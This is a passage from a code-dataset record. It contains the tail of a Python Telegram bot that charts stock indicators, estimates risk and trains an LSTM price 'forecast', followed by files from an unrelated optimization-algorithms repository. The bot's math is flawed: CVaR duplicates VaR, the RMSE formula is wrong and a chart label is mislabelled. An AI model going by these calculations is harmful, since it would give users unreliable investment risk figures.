investpy.get_stock_historical_data(stock=stock, country=country,\r\n from_date='01/01/2019',\r\n to_date=current_date)\r\n except:\r\n df = yf.download(stock, start='2019-01-01', end=date.today(), progress=False)\r\n # Count EMA20 / EMA60\r\n EMA20 = pd.DataFrame()\r\n EMA20['Close Price'] = df['Close'].ewm(span=20).mean()\r\n EMA60 = pd.DataFrame()\r\n EMA60['Close Price'] = df['Close'].ewm(span=60).mean()\r\n data = pd.DataFrame()\r\n data['Stock'] = df['Close']\r\n data['EMA20'] = EMA20['Close Price']\r\n data['EMA60'] = EMA60['Close Price']\r\n\r\n # Визуализируем\r\n plt.figure(figsize=(12.6, 4.6))\r\n plt.plot(data['Stock'], label=stock, alpha=0.35)\r\n plt.plot(EMA20['Close Price'], label='EMA30', alpha=0.35)\r\n plt.plot(EMA60['Close Price'], label='EMA60', alpha=0.35)\r\n plt.title(stock + ' История (EMA)')\r\n plt.xlabel('01/01/2019 - ' + current_date)\r\n plt.ylabel('Цена закрытия')\r\n plt.legend(loc='upper left')\r\n plt.savefig('img2.jpg')\r\n\r\n def Upper_levels(stock, country):\r\n current_date = str(date.today().day) + '/' + str(date.today().month) + '/' + str(\r\n date.today().year)\r\n try:\r\n df = investpy.get_stock_historical_data(stock=stock, country=country,\r\n from_date='01/01/2019',\r\n to_date=current_date)\r\n except:\r\n df = yf.download(stock, start='2019-01-01', end=date.today(), progress=False)\r\n\r\n pivots = []\r\n dates = []\r\n counter = 0\r\n lastPivot = 0\r\n\r\n Range = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\r\n dateRange = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\r\n\r\n for i in df.index:\r\n currentMax = max(Range, default=0)\r\n value = round(df['High'][i], 2)\r\n\r\n Range = Range[1:9]\r\n Range.append(value)\r\n dateRange = dateRange[1:9]\r\n dateRange.append(i)\r\n\r\n if currentMax == max(Range, default=0):\r\n counter += 1\r\n else:\r\n counter = 0\r\n if counter == 5:\r\n lastPivot = currentMax\r\n dateloc = Range.index(lastPivot)\r\n lastDate = dateRange[dateloc]\r\n pivots.append(lastPivot)\r\n dates.append(lastDate)\r\n\r\n timeD = dt.timedelta(days=30)\r\n\r\n plt.figure(figsize=(12.6, 4.6))\r\n plt.title(stock + ' История (upper levels)')\r\n plt.xlabel('01/01/2019 - ' + current_date)\r\n plt.ylabel('Цена закрытия')\r\n plt.plot(df['High'], label=stock, alpha=0.35)\r\n for index in range(len(pivots)):\r\n plt.plot_date([dates[index], dates[index] + timeD], [pivots[index], pivots[index]],\r\n linestyle='-',\r\n linewidth=2, marker=\",\")\r\n plt.legend(loc='upper left')\r\n plt.savefig('img3.jpg')\r\n\r\n print('Dates / Prices of pivot points:')\r\n for index in range(len(pivots)):\r\n print(str(dates[index].date()) + ': ' + str(pivots[index]))\r\n\r\n def Low_levels(stock, country):\r\n current_date = str(date.today().day) + '/' + str(date.today().month) + '/' + str(\r\n date.today().year)\r\n try:\r\n df = investpy.get_stock_historical_data(stock=stock, country=country,\r\n from_date='01/01/2019',\r\n to_date=current_date)\r\n except:\r\n df = yf.download(stock, start='2019-01-01', end=date.today(), progress=False)\r\n\r\n pivots = []\r\n dates = []\r\n counter = 0\r\n lastPivot = 0\r\n\r\n Range = [999999] * 10\r\n dateRange = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\r\n\r\n for i in df.index:\r\n currentMin = min(Range, default=0)\r\n value = round(df['Low'][i], 2)\r\n\r\n Range = Range[1:9]\r\n Range.append(value)\r\n dateRange = dateRange[1:9]\r\n dateRange.append(i)\r\n\r\n if currentMin == min(Range, default=0):\r\n counter += 1\r\n else:\r\n counter = 0\r\n if counter == 5:\r\n lastPivot = currentMin\r\n dateloc = Range.index(lastPivot)\r\n lastDate = dateRange[dateloc]\r\n pivots.append(lastPivot)\r\n dates.append(lastDate)\r\n\r\n timeD = dt.timedelta(days=30)\r\n\r\n plt.figure(figsize=(12.6, 4.6))\r\n plt.title(stock + ' История (low levels)')\r\n plt.xlabel('01/01/2019 - ' + current_date)\r\n plt.ylabel('Цена закрытия')\r\n plt.plot(df['Low'], label=stock, alpha=0.35)\r\n for index in range(len(pivots)):\r\n plt.plot_date([dates[index], dates[index] + timeD], [pivots[index], pivots[index]],\r\n linestyle='-',\r\n linewidth=2, marker=\",\")\r\n plt.legend(loc='upper left')\r\n plt.savefig('img4.jpg')\r\n\r\n print('Dates / Prices of pivot points:')\r\n for index in range(len(pivots)):\r\n print(str(dates[index].date()) + ': ' + str(pivots[index]))\r\n\r\n def Last_Month(stock, country):\r\n current_date = str(date.today().day) + '/' + str(date.today().month) + '/' + str(\r\n date.today().year)\r\n try:\r\n df = investpy.get_stock_historical_data(stock=stock, country=country,\r\n from_date='01/01/2019',\r\n to_date=current_date)\r\n except:\r\n df = yf.download(stock, start='2019-01-01', end=date.today(), progress=False)\r\n plt.figure(figsize=(12.6, 4.6))\r\n plt.plot(df['Close'][-30:], label=stock, alpha=0.35)\r\n plt.title(stock + ' История за последние 30 дней')\r\n plt.xlabel('Последние 30 дней')\r\n plt.ylabel('Цена закрытия')\r\n plt.legend(loc='upper left')\r\n plt.savefig('img5.jpg')\r\n print('Цена за последние пять дней ' + stock + ' =\\n', np.array(df['Close'][-5:][0]), '$;\\n',\r\n np.array(df['Close'][-5:][1]),\r\n '$;\\n', np.array(df['Close'][-5:][2]), '$;\\n', np.array(df['Close'][-5:][3]), '$;\\n',\r\n np.array(df['Close'][-5:][4]), '$;\\n', file=open(\"output.txt\", \"a\"))\r\n p_1 = abs(1 - df['Close'][-5:][1] / df['Close'][-5:][0])\r\n if df['Close'][-5:][1] >= df['Close'][-5:][0]:\r\n pp_1 = '+' + str(round(p_1 * 100, 2)) + '%'\r\n else:\r\n pp_1 = '-' + str(round(p_1 * 100, 2)) + '%'\r\n p_2 = abs(1 - df['Close'][-5:][2] / df['Close'][-5:][1])\r\n if df['Close'][-5:][2] >= df['Close'][-5:][1]:\r\n pp_2 = '+' + str(round(p_2 * 100, 2)) + '%'\r\n else:\r\n pp_2 = '-' + str(round(p_2 * 100, 2)) + '%'\r\n p_3 = abs(1 - df['Close'][-5:][3] / df['Close'][-5:][2])\r\n if df['Close'][-5:][3] >= df['Close'][-5:][2]:\r\n pp_3 = '+' + str(round(p_3 * 100, 2)) + '%'\r\n else:\r\n pp_3 = '-' + str(round(p_3 * 100, 2)) + '%'\r\n p_4 = abs(1 - df['Close'][-5:][4] / df['Close'][-5:][3])\r\n if df['Close'][-5:][4] >= df['Close'][-5:][3]:\r\n pp_4 = '+' + str(round(p_4 * 100, 2)) + '%'\r\n else:\r\n pp_4 = '-' + str(round(p_4 * 100, 2)) + '%'\r\n print('Процент +/- ' + stock + ' =', pp_1, ';', pp_2, ';', pp_3, ';', pp_4,\r\n file=open(\"output.txt\", \"a\"))\r\n\r\n stock = action\r\n\r\n country = 'NASDAQ'\r\n\r\n Stock_SMA(stock, country)\r\n Stock_EMA(stock, country)\r\n Upper_levels(stock, country)\r\n Low_levels(stock, country)\r\n Last_Month(stock, country)\r\n\r\n # print('img1.jpg')\r\n # print('img2.jpg')\r\n # print('img3.jpg')\r\n # print('img4.jpg')\r\n # print('img5.jpg')\r\n with open('img1.jpg', 'rb') as photo:\r\n await bot.send_photo(chat_id=message.chat.id, photo=photo)\r\n with open('img2.jpg', 'rb') as photo:\r\n await bot.send_photo(chat_id=message.chat.id, photo=photo)\r\n with open('img3.jpg', 'rb') as photo:\r\n await bot.send_photo(chat_id=message.chat.id, photo=photo)\r\n with open('img4.jpg', 'rb') as photo:\r\n await bot.send_photo(chat_id=message.chat.id, photo=photo)\r\n with open('img5.jpg', 'rb') as photo:\r\n await bot.send_photo(chat_id=message.chat.id, photo=photo) # Отправка фото\r\n\r\n with open('output.txt', 'r') as f:\r\n output = f.read()\r\n await bot.send_message(chat_id=message.chat.id, text=output)\r\n path = \"output.txt\"\r\n os.remove(path)\r\n except:\r\n await message.reply('Некоректный тикер! Повторите попытку!')\r\n\r\[email protected]_handler(lambda message: message.text ==\"Риск акции\")\r\nasync def get_name(message: types.Message):\r\n try:\r\n def getData(stocks, start, end):\r\n stockData = pdr.get_data_yahoo(stocks, start=start, end=end)\r\n stockData = stockData['Close']\r\n returns = stockData.pct_change()\r\n meanReturns = returns.mean()\r\n covMatrix = returns.cov()\r\n return returns, meanReturns, covMatrix\r\n\r\n # Portfolio Performance\r\n def portfolioPerformance(weights, meanReturns, covMatrix, Time):\r\n returns = np.sum(meanReturns * weights) * Time\r\n std = np.sqrt(np.dot(weights.T, np.dot(covMatrix, weights))) * np.sqrt(Time)\r\n return returns, std\r\n\r\n stockList = [action]\r\n stocks = [stock for stock in stockList]\r\n endDate = dt.datetime.now()\r\n startDate = endDate - dt.timedelta(days=360)\r\n\r\n returns, meanReturns, covMatrix = getData(stocks, start=startDate, end=endDate)\r\n returns = returns.dropna()\r\n\r\n weights = np.random.random(len(returns.columns))\r\n weights /= np.sum(weights)\r\n\r\n returns['portfolio'] = returns.dot(weights)\r\n\r\n def historicalVaR(returns, alpha=5):\r\n \"\"\"\r\n Read in a pandas dataframe of returns / a pandas series of returns\r\n Output the percentile of the distribution at the given alpha confidence level\r\n \"\"\"\r\n if isinstance(returns, pd.Series):\r\n return np.percentile(returns, alpha)\r\n\r\n # A passed user-defined-function will be passed a Series for evaluation.\r\n elif isinstance(returns, pd.DataFrame):\r\n return returns.aggregate(historicalVaR, alpha=alpha)\r\n\r\n else:\r\n raise TypeError(\"Expected returns to be dataframe or series\")\r\n\r\n def historicalCVaR(returns, alpha=5):\r\n \"\"\"\r\n Read in a pandas dataframe of returns / a pandas series of returns\r\n Output the CVaR for dataframe / series\r\n \"\"\"\r\n if isinstance(returns, pd.Series):\r\n belowVaR = returns <= historicalVaR(returns, alpha=alpha)\r\n return returns[belowVaR].mean()\r\n\r\n # A passed user-defined-function will be passed a Series for evaluation.\r\n elif isinstance(returns, pd.DataFrame):\r\n return returns.aggregate(historicalCVaR, alpha=alpha)\r\n\r\n else:\r\n raise TypeError(\"Expected returns to be dataframe or series\")\r\n\r\n Time = 1\r\n\r\n VaR = -historicalVaR(returns['portfolio'], alpha=5) * np.sqrt(Time)\r\n CVaR = -historicalVaR(returns['portfolio'], alpha=5) * np.sqrt(Time)\r\n pRet, pStd = portfolioPerformance(weights, meanReturns, covMatrix, Time)\r\n\r\n InitialInvestment = 1000 # ПЕРЕМЕННАЯ\r\n print('Ожидаемая доходность портфеля в день за 1000$: ', round(InitialInvestment * pRet, 2), '$',\r\n file=open(\"risk.txt\", \"a\"))\r\n print('Значение риска 95 CI: ', round(InitialInvestment * VaR, 2), '%', file=open(\"risk.txt\", \"a\"))\r\n print('Условный 95CI: ', round(InitialInvestment * CVaR, 2), '%', file=open(\"risk.txt\", \"a\"))\r\n with open('risk.txt', 'r') as f:\r\n risk = f.read()\r\n await bot.send_message(chat_id=message.chat.id, text=risk)\r\n path = \"risk.txt\"\r\n os.remove(path)\r\n except:\r\n await message.reply('Некоректный тикер! Повторите попытку!')\r\n\r\[email protected]_handler(lambda message: message.text ==\"Прогноз акции\")\r\nasync def get_name(message: types.Message):\r\n try:\r\n await message.answer('Выполняется анализирование с помощью ИИ')\r\n await message.answer('Примерное время выполнения 3 минуты')\r\n\r\n AAPL = yf.download(action,\r\n start='2020-01-01',\r\n end='2022-5-20',\r\n progress=False)\r\n plt.figure(figsize=(16, 8))\r\n plt.title('Close Price History')\r\n plt.plot(AAPL['Close'])\r\n plt.xlabel('Date')\r\n plt.ylabel('Close price USD')\r\n plt.savefig('img_ii1.jpg')\r\n\r\n # Создаем новый датафрейм только с колонкой \"Close\"\r\n data = AAPL.filter(['Close'])\r\n # преобразовываем в нумпаевский массив\r\n dataset = data.values\r\n # Вытаскиваем количество строк в дате для обучения модели (LSTM)\r\n training_data_len = math.ceil(len(dataset) * .8)\r\n\r\n # Scale the data (масштабируем)\r\n scaler = MinMaxScaler(feature_range=(0, 1))\r\n scaled_data = scaler.fit_transform(dataset)\r\n\r\n # Создаем датасет для обучения\r\n train_data = scaled_data[0:training_data_len]\r\n # разбиваем на x underscore train и y underscore train\r\n x_train = []\r\n y_train = []\r\n\r\n for i in range(60, len(train_data)):\r\n x_train.append(train_data[i - 60:i])\r\n y_train.append(train_data[i])\r\n\r\n # Конвертируем x_train и y_train в нумпаевский массив\r\n x_train, y_train = np.array(x_train), np.array(y_train)\r\n\r\n # Reshape data\r\n x_train = np.reshape(x_train, (x_train.shape[0], x_train.shape[1], x_train.shape[2]))\r\n\r\n # Строим нейронку\r\n model = Sequential()\r\n model.add(LSTM(50, return_sequences=True, input_shape=(x_train.shape[1], x_train.shape[2])))\r\n model.add(LSTM(50, return_sequences=False))\r\n model.add(Dense(25))\r\n model.add(Dense(1))\r\n\r\n # Компилируем модель\r\n model.compile(optimizer='adam', loss='mean_squared_error')\r\n\r\n # Тренируем модель\r\n model.fit(x_train, y_train, batch_size=1, epochs=10)\r\n\r\n # Создаем тестовый датасет\r\n test_data = scaled_data[training_data_len - 60:]\r\n # по аналогии создаем x_test и y_test\r\n x_test = []\r\n y_test = dataset[training_data_len:]\r\n for i in range(60, len(test_data)):\r\n x_test.append(test_data[i - 60:i])\r\n\r\n # опять преобразуем в нумпаевский массив\r\n x_test = np.array(x_test)\r\n\r\n # опять делаем reshape\r\n x_test = np.reshape(x_test, (x_test.shape[0], x_test.shape[1], x_test.shape[2]))\r\n\r\n # Получаем модель предсказывающую значения\r\n predictions = model.predict(x_test)\r\n predictions = scaler.inverse_transform(predictions)\r\n\r\n # Получим mean squared error (RMSE) - метод наименьших квадратов\r\n rmse = np.sqrt(np.mean(predictions - y_test) ** 2)\r\n\r\n # Строим график\r\n train = data[:training_data_len]\r\n valid = data[training_data_len:]\r\n valid['Predictions'] = predictions\r\n # Визуализируем\r\n plt.figure(figsize=(16, 8))\r\n plt.title('Модель LSTM')\r\n plt.xlabel('Дата', fontsize=18)\r\n plt.ylabel('Цена закрытия', fontsize=18)\r\n plt.plot(train['Close'])\r\n plt.plot(valid[['Close', 'Predictions']])\r\n plt.legend(['Train', 'Val', 'Pred'], loc='lower right')\r\n plt.savefig('img_ii1.jpg')\r\n with open('img_ii1.jpg', 'rb') as photo:\r\n await bot.send_photo(chat_id=message.chat.id, photo=photo)\r\n print('Прогноз с использованием нейроных сетей', file=open(\"ii.txt\", \"a\"))\r\n with open('ii.txt', 'r') as f:\r\n ii = f.read()\r\n await bot.send_message(chat_id=message.chat.id, text=ii)\r\n path = \"ii.txt\"\r\n os.remove(path)\r\n\r\n except:\r\n await message.reply('Некоректный тикер! Повторите попытку!')\r\n\r\n\r\[email protected]_handler(lambda message: message.text ==\"Потенциальная акция\")\r\nasync def get_name(message: types.Message):\r\n try:\r\n tocks = investpy.stocks.get_stocks(country='russia')['symbol']\r\n\r\n counter = 1\r\n index = 1\r\n good_stocks = []\r\n current_date = str(date.today().day) + '/' + str(date.today().month) + '/' + str(date.today().year)\r\n a = date.today().month\r\n if a == 1:\r\n from_date = str(date.today().day) + '/' + str(12) + '/' + str(date.today().year - 1)\r\n else:\r\n from_date = str(date.today().day) + '/' + str(date.today().month - 1) + '/' + str(date.today().year)\r\n for stock in tocks:\r\n if counter == 1:\r\n counter = 0\r\n try:\r\n df = investpy.get_stock_historical_data(stock=stock, country='russia', from_date=from_date,\r\n to_date=current_date)\r\n technical_indicators = investpy.technical.technical_indicators(stock, 'russia', 'stock',\r\n interval='daily')\r\n country = 'russia'\r\n except:\r\n continue\r\n tech_sell = len(technical_indicators[technical_indicators['signal'] == 'sell'])\r\n tech_buy = len(technical_indicators[technical_indicators['signal'] == 'buy'])\r\n moving_averages = investpy.technical.moving_averages(stock, country, 'stock', interval='daily')\r\n moving_sma_sell = len(moving_averages[moving_averages['sma_signal'] == 'sell'])\r\n moving_sma_buy = len(moving_averages[moving_averages['sma_signal'] == 'buy'])\r\n\r\n moving_ema_sell = len(moving_averages[moving_averages['ema_signal'] == 'sell'])\r\n moving_ema_buy = len(moving_averages[moving_averages['ema_signal'] == 'buy'])\r\n if tech_buy < 9 or tech_sell > 2 or moving_sma_buy < 5 or moving_ema_buy < 5:\r\n continue\r\n sma_20 = moving_averages['sma_signal'][2]\r\n sma_100 = moving_averages['sma_signal'][4]\r\n ema_20 = moving_averages['ema_signal'][2]\r\n ema_100 = moving_averages['ema_signal'][4]\r\n print('Фонд =', stock, file=open(\"out.txt\", \"a\"))\r\n print('Технические индикаторы продажи: для покупки =', tech_buy, ', 12; ', 'продавать =', tech_sell,\r\n ', 12;',\r\n file=open(\"out.txt\", \"a\"))\r\n print('SMA скользящие средние: покупать =', moving_sma_buy, ', 6; ', 'продавать =', moving_sma_sell,\r\n ', 6;',\r\n file=open(\"out.txt\", \"a\"))\r\n print('EMA скользящие средние: покупать =', moving_ema_buy, ', 6; ', 'продавать =', moving_ema_sell,\r\n ', 6;',\r\n file=open(\"out.txt\", \"a\"))\r\n print('SMA_20 =', sma_20, ';', 'SMA_100 =', sma_100, ';', 'EMA_20 =', ema_20, ';', 'EMA_100 =',\r\n ema_100,\r\n file=open(\"out.txt\", \"a\"))\r\n print('Цены за последние пять дней ' + stock + ' =', np.array(df['Close'][-5:][0]), ';',\r\n np.array(df['Close'][-5:][1]),\r\n ';', np.array(df['Close'][-5:][2]), ';', np.array(df['Close'][-5:][3]), ';',\r\n np.array(df['Close'][-5:][4]), file=open(\"output.txt\", \"a\"))\r\n p_1 = abs(1 - df['Close'][-5:][1] / df['Close'][-5:][0])\r\n if df['Close'][-5:][1] >= df['Close'][-5:][0]:\r\n pp_1 = '+' + str(round(p_1 * 100, 2)) + '%'\r\n else:\r\n pp_1 = '-' + str(round(p_1 * 100, 2)) + '%'\r\n p_2 = abs(1 - df['Close'][-5:][2] / df['Close'][-5:][1])\r\n if df['Close'][-5:][2] >= df['Close'][-5:][1]:\r\n pp_2 = '+' + str(round(p_2 * 100, 2)) + '%'\r\n else:\r\n pp_2 = '-' + str(round(p_2 * 100, 2)) + '%'\r\n p_3 = abs(1 - df['Close'][-5:][3] / df['Close'][-5:][2])\r\n if df['Close'][-5:][3] >= df['Close'][-5:][2]:\r\n pp_3 = '+' + str(round(p_3 * 100, 2)) + '%'\r\n else:\r\n pp_3 = '-' + str(round(p_3 * 100, 2)) + '%'\r\n p_4 = abs(1 - df['Close'][-5:][4] / df['Close'][-5:][3])\r\n if df['Close'][-5:][4] >= df['Close'][-5:][3]:\r\n pp_4 = '+' + str(round(p_4 * 100, 2)) + '%'\r\n else:\r\n pp_4 = '-' + str(round(p_4 * 100, 2)) + '%'\r\n print('Процент +/- of ' + stock + ' =', pp_1, ';', pp_2, ';', pp_3, ';', pp_4,\r\n file=open(\"out.txt\", \"a\"))\r\n print()\r\n with open('out.txt', 'r') as f:\r\n out = f.read()\r\n await bot.send_message(chat_id=message.chat.id, text=out)\r\n path = \"out.txt\"\r\n os.remove(path)\r\n\r\n good_stocks.append(stock)\r\n break\r\n except:\r\n await message.reply('Некоректный тикер! Повторите попытку!')\r\nif __name__ == \"__main__\":\r\n # Запуск бота\r\n executor.start_polling(dp, skip_updates=True)\r\n\r\n\r\n\r\n" } ]
1
jkleve/Optimization-Algoirthms
https://github.com/jkleve/Optimization-Algoirthms
d3896e3489c3d0ced8432a3d8a9c655a32344766
dec1edd0cd12569b3732d5a7b4bfbcdced9b1568
b2d62770a89b80b8579644622151132e723a44e7
refs/heads/master
2021-01-11T07:24:27.213290
2017-06-02T05:55:22
2017-06-02T05:55:22
72,465,246
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6640354990959167, "alphanum_fraction": 0.6778490543365479, "avg_line_length": 32.22950744628906, "blob_id": "9c877f06f54d07e571d6fca3de0e5a80a30630f6", "content_id": "b0efc95888e8b4820034d770adc304fb96c375d4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2027, "license_type": "permissive", "max_line_length": 99, "num_lines": 61, "path": "/particle_swarm_optimization/oa_tests.py", "repo_name": "jkleve/Optimization-Algoirthms", "src_encoding": "UTF-8", "text": "import matplotlib.pyplot as plt\n\nfrom particle_swarm_optimization import PSO as OptimizationAlgorithm\nimport pso_settings\nimport pso_objective_function\nimport ackley_function\n\ndef num_parts_vs_time(o_algorithm, num_parts):\n tests = {}\n\n for test in num_parts:\n pso_settings.settings['population_size'] = test\n\n###SWITCH THESE WHEN CHANGING BETWEEN OBJECTIVE FUNCTION AND ACKLEY FUNCTION###\n # algorithm = o_algorithm(pso_settings.settings, pso_objective_function.objective_function)\n algorithm = o_algorithm(pso_settings.settings, ackley_function.objective_function)\n\n algorithm.start_timer()\n algorithm.run()\n algorithm.stop_timer()\n\n x = algorithm.get_best_x()\n\n print(\"%5d: %7.3f\" % (test, algorithm.get_time()))\n\n tests[test] = {'time': algorithm.get_time(), 'accuracy': abs(x.get_fval())}\n\n return tests\n\ndef func_val_vs_iterations(o_algorithm, num_parts):\n fig, ax = plt.subplots(nrows=1, ncols=1)\n\n for test in num_parts:\n f = []\n\n pso_settings.settings['population_size'] = test\n\n###SWITCH THESE WHEN CHANGING BETWEEN OBJECTIVE FUNCTION AND ACKLEY FUNCTION###\n # algorithm = o_algorithm(pso_settings.settings, pso_objective_function.objective_function)\n algorithm = o_algorithm(pso_settings.settings, ackley_function.objective_function)\n\n while pso_settings.settings['num_iterations'] > algorithm.num_iterations:\n f.append(algorithm.get_best_f())\n algorithm.do_loop()\n\n ax.plot(range(1,len(f)+1), f)\n\n plt.title('Number of particles vs iterations')\n plt.xlabel('Number of Iterations')\n plt.ylabel('Number of Particles')\n plt.legend(num_parts)\n fig_name = 'particles_vs_iterations'\n fig.savefig(fig_name + '.png')\n plt.close(fig)\n\nif __name__ == \"__main__\":\n\n num_particles = [50, 100, 500]# + range(1000, 10000, 1000)\n #tests = num_parts_vs_time(OptimizationAlgorithm, num_particles)\n\n func_val_vs_iterations(OptimizationAlgorithm, num_particles)\n" }, { "alpha_fraction": 0.5203251838684082, "alphanum_fraction": 0.5298103094100952, "avg_line_length": 17.450000762939453, "blob_id": "d26050091e3117dfa4c65f2a250438e6ba30a012", "content_id": "656a0a299af41152fe6e7fb23d9531f08294286b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 738, "license_type": "permissive", "max_line_length": 46, "num_lines": 40, "path": "/utils/timer.py", "repo_name": "jkleve/Optimization-Algoirthms", "src_encoding": "UTF-8", "text": "import time\n\nclass Timer:\n def __init__(self):\n self.start_t = 0.0\n self.stop_t = 0.0\n self.last_time = 0.0\n\n def start_timer(self):\n self.last_time = self.get_time()\n self.start_t = time.time()\n\n def stop_timer(self):\n self.stop_t = time.time()\n\n def get_time(self):\n return self.stop_t - self.start_t\n\n def reset_timer(self):\n self.last_time = self.get_time()\n\nclass RunTest(Timer, object):\n def __init__(self):\n super(self.__class__, self).__init__()\n self.delay = 4\n\n def run_test(self):\n time.sleep(self.delay)\n\nif __name__ == \"__main__\":\n\n rt = RunTest()\n\n rt.start()\n\n rt.run_test()\n\n rt.stop()\n\n print(rt.get_time())\n" }, { "alpha_fraction": 0.5303643941879272, "alphanum_fraction": 0.5708501935005188, "avg_line_length": 26.44444465637207, "blob_id": "81a631d99ee6cb55c88d262e139bb4a66c648d51", "content_id": "f20e4a9d7a5e141eefc9b58e75658cbd50091989", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 247, "license_type": "permissive", "max_line_length": 58, "num_lines": 9, "path": "/examples/settings.py", "repo_name": "jkleve/Optimization-Algoirthms", "src_encoding": "UTF-8", "text": "settings = {\n 'num_dims': 2,\n 'bounds': [ # this must have 1 pair per dimension\n (-10,10),\n (-10,10)\n ],\n 'plot': True, # whether we should plot each iteration\n 'debug': True # whether we should print each iteration\n}\n" }, { "alpha_fraction": 0.5302091240882874, "alphanum_fraction": 0.5689387917518616, "avg_line_length": 28.0112361907959, "blob_id": "cc06a024b9804a297ba8aa6ec0e3edf13d01aa81", "content_id": "7990e75ea3cdf6d6b7d98ce39eb76e307d49dc3f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2582, "license_type": "permissive", "max_line_length": 91, "num_lines": 89, "path": "/tests/ga_graph.py", "repo_name": "jkleve/Optimization-Algoirthms", "src_encoding": "UTF-8", "text": "import matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib import cm\nimport numpy as np\nimport sys\nsys.path.append(\"../utils\")\n\nfrom oa_utils import read_xy_data\nfrom test_helpers import gen_filename\nfrom regression_utils import get_regression_coef\n\ninput_loc = '../data/ga/'\noutput_loc = '../tmp/'\nalgorithm_name = 'GA'\n\nNAME = 0\nSTART = 1\nSTEP = 2\nEND = 3\n\ncolors = ['blue', 'green', 'red', 'magenta', 'yellow', 'black']\n\ndef plot_data(x1_info, x2_info, func, zbounds=None):\n c_i = 0\n to_plot = [0.1, 0.5, 0.9]\n\n x1_var = x1_info[NAME]\n x2_var = x2_info[NAME]\n x1_name = x1_var.replace('_', ' ').title()\n x2_name = x2_var.replace('_', ' ').title()\n\n func = func + '_function'\n func_name = func.replace('_', ' ').title()\n title = 'Response Surface of %s vs %s of %s on %s' % (x1_name, x2_name, \\\n algorithm_name, func_name)\n\n fig = plt.figure()\n ax1 = fig.add_subplot(111, projection='3d')\n if zbounds is not None:\n ax1.set_zlim(zbounds[0], zbounds[1])\n\n for j in to_plot:\n f = 'rosenbrock/cutoff_vs_rate_(mma_%.2f)_' % j\n filename = input_loc + f + func + '.dat'\n #filename = input_loc + gen_filename(x1_var, x2_var, func)\n (X, y) = read_xy_data(filename)\n\n b = get_regression_coef(X, y)\n\n #for i, row in enumerate(X):\n # ax1.scatter(row[1],row[2],y[i], color=colors[c_i])\n\n pltx = np.arange(x1_start, x1_end+x1_step, x1_step)\n plty = np.arange(x2_start, x2_end+x2_step, x2_step)\n pltX, pltY = np.meshgrid(pltx, plty)\n F = b[0] + b[1]*pltX + b[2]*pltY + b[3]*pltX*pltX + b[4]*pltX*pltY + b[5]*pltY*pltY\n ax1.plot_wireframe(pltX, pltY, F, color=colors[c_i])\n #ax1.contour(pltX, pltY, F, zdir='z', offset=0, cmap=cm.jet)\n\n c_i += 1\n if c_i > 6:\n c_i = 0\n\n ax1.set_title(title)\n ax1.set_xlabel(x1_name)\n ax1.set_ylabel(x2_name)\n ax1.set_zlabel('Median Euclidean Distance from Global Minimum')\n ax1.legend(to_plot, title='Max Allowed Mutation Size', loc='lower left')\n plt.show()\n\nif __name__ == \"__main__\":\n\n # user inputs\n func = 'rosenbrock'\n x1_name = 'selection_cutoff'\n x2_name = 'mutation_rate'\n x1_start = 0.1\n x1_step = 0.1\n x1_end = 1.0\n x2_start = 0.1\n x2_step = 0.1\n x2_end = 1.0\n zbounds = (0,7)\n\n # don't touch\n x1_info = [x1_name, x1_start, x1_step, x1_end]\n x2_info = [x2_name, x2_start, x2_step, x2_end]\n\n plot_data(x1_info, x2_info, func, zbounds)\n" }, { "alpha_fraction": 0.46439629793167114, "alphanum_fraction": 0.5386996865272522, "avg_line_length": 23.846153259277344, "blob_id": "17e416d5a0dbec974692eae956a5fa8542cf2318", "content_id": "69c23bc5c0cd916c8e80029ecbac603c2575e176", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 323, "license_type": "permissive", "max_line_length": 115, "num_lines": 13, "path": "/functions/ackley_function.py", "repo_name": "jkleve/Optimization-Algoirthms", "src_encoding": "UTF-8", "text": "from numpy import sqrt, cos, exp, pi\n\n# Ackley Function\ndef objective_function(params):\n x1 = params[0]\n x2 = params[1]\n\n a = 20\n b = 0.2\n c = 2*pi\n d = len(params) # number of dimensions\n\n return ( -1.0*a*exp(-1.0*b*sqrt((1.0/d)*(x1**2 + x2**2))) - exp((1.0/d)*(cos(c*x1) + cos(c*x2))) + a + exp(1) )\n" }, { "alpha_fraction": 0.2925170063972473, "alphanum_fraction": 0.307823121547699, "avg_line_length": 27, "blob_id": "e424d1f646dcf33bbed511ca73e4eb159b1bca0d", "content_id": "924327b613aefae05c64defd860ca68b2773c9f9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 588, "license_type": "permissive", "max_line_length": 47, "num_lines": 21, "path": "/tests/ga_tests.py", "repo_name": "jkleve/Optimization-Algoirthms", "src_encoding": "UTF-8", "text": "tests = {\n 't1': {\n 'x1': 'selection_cutoff',\n 'x2': 'mutation_rate'\n },\n 't2': {\n 'x1': 'selection_cutoff',\n 'x2': 'max_mutation_amount'\n },\n 't3': {\n 'x1': 'mutation_rate',\n 'x2': 'max_mutation_amount'\n }\n }\n\nfunctions = {\n 'ackley_function',\n 'easom_function',\n 'griewank_function',\n 'rosenbrock_function'\n }\n" }, { "alpha_fraction": 0.5465258359909058, "alphanum_fraction": 0.5855525135993958, "avg_line_length": 31.834171295166016, "blob_id": "453e786821cfd06fc54e398f4d252d66a0ea0519", "content_id": "2e24d0b08b89485fd61cddc204e3f49689a59c99", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6534, "license_type": "permissive", "max_line_length": 109, "num_lines": 199, "path": "/tests/ga_analysis.py", "repo_name": "jkleve/Optimization-Algoirthms", "src_encoding": "UTF-8", "text": "import matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib import cm\nimport numpy as np\nimport sys\nsys.path.append(\"../utils\")\nsys.path.append(\"../functions\")\nsys.path.append(\"../genetic_algorithm\")\n\nimport genetic_algorithm\nimport ackley_function\nimport easom_function\nimport 